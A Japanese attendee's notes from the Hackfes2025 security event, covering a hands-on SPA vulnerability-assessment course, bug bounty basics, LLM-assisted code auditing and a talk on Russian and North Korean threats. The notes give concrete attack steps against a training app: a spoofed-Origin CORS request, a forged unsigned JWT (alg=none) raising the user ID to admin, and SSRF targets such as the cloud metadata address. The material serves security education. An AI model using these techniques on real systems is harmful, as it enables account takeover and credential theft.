Hackfes2025参加メモ

イベント概要

「Webアプリケーション(SPA)脆弱性診断入門」徳丸 浩

10:10 - 11:40

Burp Suiteを用いてSPA(Single Page Application)に対する脆弱性診断を実践。 対象は、HTMLとJavaScriptで構成された動的コンテンツ生成型のシンプルなSPAサーバー。

CORS(Cross-Origin Resource Sharing)の設定不備

ログインAPIへのプリフライトリクエスト(OPTIONSメソッド)は、CORSによって処理されます。

プリフライトリクエスト

OPTIONS /api/v1/login HTTP/1.1
Host: api.example.jp
Accept: */*
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: http://spa.example.jp
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Sec-Fetch-Dest: empty
Referer: http://spa.example.jp/
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Connection: keep-alive

レスポンス

HTTP/1.1 204 No Content
X-Powered-By: Express
Access-Control-Allow-Origin: http://spa.example.jp
Vary: Origin, Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Headers: content-type
Access-Control-Max-Age: 300
Content-Length: 0
Date: Sat, 19 Jul 2025 01:31:57 GMT

Burp Repeaterを使ってOriginヘッダーを悪意あるドメインに書き換えたリクエストを送信すると、本来許可されるべきではないオリジンからのリクエストに対しても、アクセスが許可されてしまいます。

HTTP/1.1 204 No Content
X-Powered-By: Express
Access-Control-Allow-Origin: http://trap.example.jp
Vary: Origin, Access-Control-Request-Headers
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Headers: content-type
Access-Control-Max-Age: 300
Content-Length: 0
Date: Sat, 19 Jul 2025 01:34:06 GMT

これにより、悪意のあるドメイン(例: trap.example.jp)からAPIが操作可能になってしまいます。

パスワード変更処理における現在のパスワードの検証不備

再認証とパスワード変更の機能が別々のAPIとして実装されている場合、セッションが有効な状態であれば、再認証を省略してパスワード変更APIを直接呼び出すことが可能になるケースがあります。

JWTの署名検証回避(alg=none攻撃)

JWTはBase64URLでエンコードされたJSONデータのため、容易にデコードできます。 以下のサイトなどで、JWTのデコードやエンコードを試すことができます。

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6InFrQTZJVVRXVE1LWXRpbTRGSXFOOFFNY2x3ODd1Tm0yMHU5Nk9rcTh0XzAifQ.eyJzdWIiOjY4LCJ1c2VyaWQiOiJzcGEtdGVzdC0wMzEwIiwiZW1haWwiOiJzcGEtdGVzdC0wMzEwQGdtYWlsLmNvbSIsImljb24iOiJkdW1teS1pY29uLnBuZyIsImlzX3N1cGVyIjowLCJpYXQiOjE3NTI4ODg0NTAsImV4cCI6MTc1Mzc1MjQ1MH0.xGjjwXjql18iSQE2RPQG4qUwqh2y19kY0NjRL7OsWOKYurKmKVLdVfarHf7pA_2_ScFxX4QVfT_dj6Np8M7hM7Tz2LBWuz9OmeD2g2RGlhbWOg0GB5UHik7Dtdx4NYNuZSeIc9WbsQ-MGWNieUKuvMWrw34rs_C5E1SDxn-8LDZ7hnmGd907TtxD4SyJN8z50-fWSqimOS93rHah4GONxfK4erPlndh0qjE_6JgvhiVMkb_qFzG6pi83ETh-rmwOwq97gVc-IRimLmHWOzGaf1S9HXtXbeG6OMkREZI7409CoCYPt2JW5Qp-x4Aq3ulF628iyDgEvJsAV2oiidDs9A

デコードされたヘッダー

{
  "typ": "JWT",
  "alg": "RS256",
  "kid": "qkA6IUTWTMKYtim4FIqN8QMclw87uNm20u96Okq8t_0"
}

デコードされたペイロード

{
  "sub": 68,
  "userid": "spa-test-0310",
  "email": "spa-test-0310@gmail.com",
  "icon": "dummy-icon.png",
  "is_super": 0,
  "iat": 1752888450,
  "exp": 1753752450
}

JWTの署名部はバイナリ形式のデータをBase64URLエンコードしたものであり、JSON形式ではありません。そのため、署名検証が正しく機能しない場合、ペイロードの改ざんが容易になります。

ヘッダーのalgRS256からnoneに書き換えます。 攻撃者は、ヘッダーのalgnoneに変更し、ペイロードのsubを管理者を示す値(例: 1)に書き換えることで、不正なトークンを生成します。

{
  "typ": "JWT",
  "alg": "none",
  "kid": "qkA6IUTWTMKYtim4FIqN8QMclw87uNm20u96Okq8t_0"
}
{
  "sub": 1,
  "userid": "spa-test-0310",
  "email": "spa-test-0310@gmail.com",
  "icon": "dummy-icon.png",
  "is_super": 0,
  "iat": 1752888450,
  "exp": 1753752450
}

再度エンコードする

eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIiwia2lkIjoicWtBNklVVFdUTUtZdGltNEZJcU44UU1jbHc4N3VObTIwdTk2T2txOHRfMCJ9.eyJzdWIiOjEsInVzZXJpZCI6InNwYS10ZXN0LTAzMTAiLCJlbWFpbCI6InNwYS10ZXN0LTAzMTBAZ21haWwuY29tIiwiaWNvbiI6ImR1bW15LWljb24ucG5nIiwiaXNfc3VwZXIiOjAsImlhdCI6MTc1Mjg4ODQ1MCwiZXhwIjoxNzUzNzUyNDUwfQ.

ブラウザの開発者ツールなどを利用して、Cookieの値を生成した不正なトークンに書き換えます。

サーバー側の実装によっては、署名検証時にkidのチェックが不十分な場合、algnoneに改ざんされた署名なしのトークンを受け入れてしまうことがあります。

オブジェクトレベルの認可不備(BOLA)

OWASP API Security Top 10でも指摘されているように、APIにおける認可不備は非常に重大な問題です。 リクエスト内のパラメータやURLに含まれるIDを別のユーザーのものに書き換えることで、他人の情報を不正に取得できてしまう脆弱性です。

オブジェクトプロパティレベルの認可不備

API側でリクエスト内の特定のプロパティに対する認可チェックが不十分な場合、本来変更が許可されていないプロパティ(例: roleなど)を不正に書き換えることで、オブジェクトを不正に操作できてしまいます。

機能レベルの認可不備(BFLA)

権限チェックが不十分なことにより、一般ユーザーが管理者向けのAPI(例: ユーザー削除や設定変更など)を実行できてしまう脆弱性です。

XSS

XSSは一般的に「蓄積型」「反射型」「DOM-Based型」の3つに分類されますが、DOM-Based型は他の2つの特性を併せ持つ場合もあり、分類が重なることもあります。 XSS攻撃では、改行コードや文字エンコーディングの解釈差異を利用してサニタイズ処理を回避される可能性があるため、出力時のエスケープ処理には注意が必要です。 近年のWebアプリケーションでは、HttpOnly属性によりCookieを盗むことが難しくなっていますが、被害者のブラウザ上で任意のAPIを呼び出せる点がXSSの大きな脅威です。

SSRF

攻撃者は、公開サーバーを踏み台にして、直接アクセスできない内部ネットワーク(社内ネットワークやクラウド環境など)のサーバーへリクエストを送信できてしまいます。

SSRFの攻撃で狙われる代表的なエンドポイントの例:

  • file:///etc/hosts:サーバー上のローカルファイルを読み取る
  • http://169.254.169.254/:クラウド環境のメタデータサービス(IMDS)へアクセスし、認証情報などを窃取する
  • http://localhost:NNNN/:アプリケーションが内部で利用しているローカルサービスへアクセスする

「バグバウンティ入門 〜バグハンターへの道〜」森岡 優太

12:40 - 14:10 セッション中は写真撮影が禁止されていたため、ハンズオンの詳細な内容は割愛します。

バグバウンティプラットフォームは、脆弱性を発見する「バグハンター」と、脆弱性報奨金制度を導入したい企業とを仲介する役割を担っています。

代表的なバグバウンティプラットフォーム

  • HackerOne(アメリカ)
  • Bugcrowd(アメリカ)
  • Intigriti(ベルギー)

日本のバグバウンティプラットフォーム

  • IssueHunt(日本)

プログラムの種類

  • BBP(Bug Bounty Program):発見した脆弱性に対して報奨金が支払われるプログラム。
  • VDP(Vulnerability Disclosure Program):脆弱性の報告を受け付ける窓口として機能するプログラム。通常、報奨金は支払われない。

バグハンティングでよく使われるツール

「LLM を活用したソースコードにおける脆弱性の検出」蔀 綾人

16:00-16:45

静的解析:AST(抽象構文木)を用いたコード解析 動的解析:パラメータのファジングなど

LLMを用いた脆弱性検出の手法

  1. Ajax関数の特定
  2. Ajaxで呼び出される関数のコールグラフを作成する
  3. 呼び出し先の一覧を作成
  4. LLMによる汚染解析と、従来手法による汚染解析
  5. 診断結果とPoC(概念実証コード)の作成

「サイバーセキュリティ概念の現実世界への応用:対ロシア、対北朝鮮の脅威への対処法」Yulii_Smirnov

16:45 - 17:30

バーチャलなサイバー攻撃が、いかにして現実世界(リアル)へ影響を及ぼすかに焦点を当てた講演でした。

国際電話型の特殊詐欺

  • 末尾が「0110」の番号で警察署を騙る
  • 大量の携帯電話、SIMボックス、偽基地局などを利用して発信元を偽装する
  • このように、特殊詐欺と通信技術が密接に結びついています。

自動車盗難デバイス「GameBoy(コードグラバー)」

  • 日本の中古車需要が高いロシアなどで普及
  • スマートキーの信号を中継・増幅して解錠する(リレーアタック)
  • 背後には、FSB(ロシア連邦保安庁)やSVR(ロシア対外情報庁)と関連するフロント企業の関与も指摘されています。

違法無線と北朝鮮

  • Glocom(マレーシアに拠点を置く北朝鮮系のフロント企業)
  • 国連の制裁を逃れながら、違法な無線機器を製造・販売している

ロシアのサイバー攻撃の戦略

  • ハイブリッド戦争の一環としてサイバー攻撃を活用している
  • デジタル領域での攻撃はあくまで入口であり、その目的は現実世界へ影響を及ぼすことです。
  • ロシアの伝統的な軍事戦術である「マスキロフカ」(偽装・欺瞞戦術)との関連性も指摘されています。

OSINT(オープンソース・インテリジェンス)関連組織の紹介